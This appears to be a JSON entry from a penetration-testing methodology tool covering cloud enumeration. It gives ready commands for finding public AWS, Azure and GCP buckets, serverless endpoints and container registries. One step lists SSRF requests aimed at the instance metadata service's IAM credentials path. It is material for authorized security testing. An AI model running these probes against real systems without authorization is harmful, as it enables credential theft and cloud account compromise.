{ "slug": "cloud-enumeration", "title": "Cloud Infrastructure Enumeration", "phase": "Enumeration", "description": "Enumerate cloud services (AWS, GCP, Azure), storage buckets, serverless functions, container registries, and cloud-specific misconfigurations.", "difficulty": "high", "tags": [ "enumeration", "cloud", "aws", "azure", "gcp", "s3", "misconfiguration" ], "tools": [ "cloud_enum", "S3Scanner", "ScoutSuite", "Prowler", "nuclei" ], "steps": [ { "id": "cloud-01", "title": "Enumerate S3 buckets with cloud_enum and S3Scanner", "description": "Discover publicly accessible S3 buckets associated with the target using keyword-based enumeration and permutation scanning.", "commands": [ "cloud_enum -k target -k target.com -k targetcorp --disable-gcp --disable-azure -o cloud-enum-aws.txt", "s3scanner scan --bucket-file s3-wordlist.txt", "aws s3 ls s3://target-assets --no-sign-request", "aws s3 ls s3://target-backup --no-sign-request", "nuclei -l live-hosts.txt -t cloud/s3/ -o s3-findings.txt" ], "notes": "Generate bucket name permutations using the target's name, domain, abbreviations, and environment prefixes (dev, staging, prod, backup, logs). Unauthenticated listing and download indicate a critical misconfiguration." }, { "id": "cloud-02", "title": "Discover Azure blob storage containers", "description": "Enumerate Azure Storage accounts and blob containers for publicly accessible data.", "commands": [ "cloud_enum -k target -k targetcorp --disable-aws --disable-gcp -o cloud-enum-azure.txt", "ffuf -u 'https://FUZZ.blob.core.windows.net/FUZZ2' -w company-names.txt:FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ2 -mc 200", "curl -sk 'https://target.blob.core.windows.net/public?restype=container&comp=list'", "nuclei -l live-hosts.txt -t cloud/azure/ -o azure-findings.txt" ], "notes": "Azure blob containers default to private, but misconfigured containers with public or blob-level access are common. Append ?restype=container&comp=list to check for directory listing." }, { "id": "cloud-03", "title": "Scan GCP buckets and services", "description": "Enumerate Google Cloud Storage buckets and public GCP resources associated with the target.", "commands": [ "cloud_enum -k target -k target.com --disable-aws --disable-azure -o cloud-enum-gcp.txt", "curl -sk 'https://storage.googleapis.com/target-bucket'", "curl -sk 'https://storage.googleapis.com/target-assets'", "gsutil ls gs://target-public 2>/dev/null", "nuclei -l live-hosts.txt -t cloud/gcp/ -o gcp-findings.txt" ], "notes": "GCP buckets follow the same naming patterns as S3. Also check for exposed Firebase databases at target-default-rtdb.firebaseio.com/.json and Firestore instances." }, { "id": "cloud-04", "title": "Enumerate Lambda and Cloud Functions", "description": "Discover exposed serverless function endpoints and test for invocation without authentication.", "commands": [ "ffuf -u 'https://FUZZ.execute-api.us-east-1.amazonaws.com/prod/' -w company-names.txt -mc 200,403", "curl -sk https://target.com/api/ -I | grep -iE '(x-amzn|x-goog|x-ms|lambda|functions)'", "gau target.com | grep -iE '(execute-api|cloudfunctions|azurewebsites)'", "nuclei -l live-hosts.txt -t cloud/lambda/ -o lambda-findings.txt" ], "notes": "API Gateway responses include x-amzn-RequestId and x-amz-apigw-id headers. Look for these to confirm Lambda-backed endpoints, then test for authorisation bypass and function enumeration." }, { "id": "cloud-05", "title": "Probe container registries for public images", "description": "Check for publicly accessible container registries that may leak application source code, credentials, and internal tooling.", "commands": [ "curl -sk https://target.com/v2/_catalog", "curl -sk https://registry.target.com/v2/_catalog", "curl -sk 'https://target.azurecr.io/v2/_catalog'", "curl -sk 'https://gcr.io/v2/target-project/tags/list'", "nuclei -u https://target.com -t misconfiguration/docker-registry.yaml -o registry-findings.txt" ], "notes": "An exposed Docker registry catalog reveals all image names. Pull and inspect images to extract environment variables, credentials, and application source code from filesystem layers." }, { "id": "cloud-06", "title": "Test cloud metadata endpoints", "description": "Check for SSRF and proxy misconfigurations that allow access to cloud instance metadata services.", "commands": [ "curl -sk -H 'Host: 169.254.169.254' https://target.com/latest/meta-data/", "curl -sk 'https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/'", "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'", "curl -sk -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/'", "curl -sk -H 'Metadata: true' 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'" ], "notes": "IMDSv2 on AWS requires a PUT request to get a session token first. Test both v1 and v2 endpoints. Successful metadata access from SSRF often leads to full account compromise via temporary IAM credentials." }, { "id": "cloud-07", "title": "Enumerate IAM and access policies", "description": "Identify misconfigured IAM policies, overly permissive roles, and public resource policies on cloud services.", "commands": [ "prowler aws --check-group internet-exposed -o prowler-exposed.txt", "scoutsuite aws --report-dir scoutsuite-report/", "aws s3api get-bucket-policy --bucket target-bucket --no-sign-request 2>/dev/null", "aws s3api get-bucket-acl --bucket target-bucket --no-sign-request 2>/dev/null", "nuclei -l live-hosts.txt -t cloud/enum/ -o iam-findings.txt" ], "notes": "ScoutSuite and Prowler require authenticated access (read-only IAM credentials). Use them during white-box engagements or when the client provides cloud credentials for assessment." } ], "references": [ "https://github.com/initstring/cloud_enum", "https://github.com/sa7mon/S3Scanner", "https://github.com/nccgroup/ScoutSuite", "https://github.com/prowler-cloud/prowler", "https://owasp.org/www-project-cloud-security/" ], "version": "1.0.0", "updatedAt": "2026-06-17" }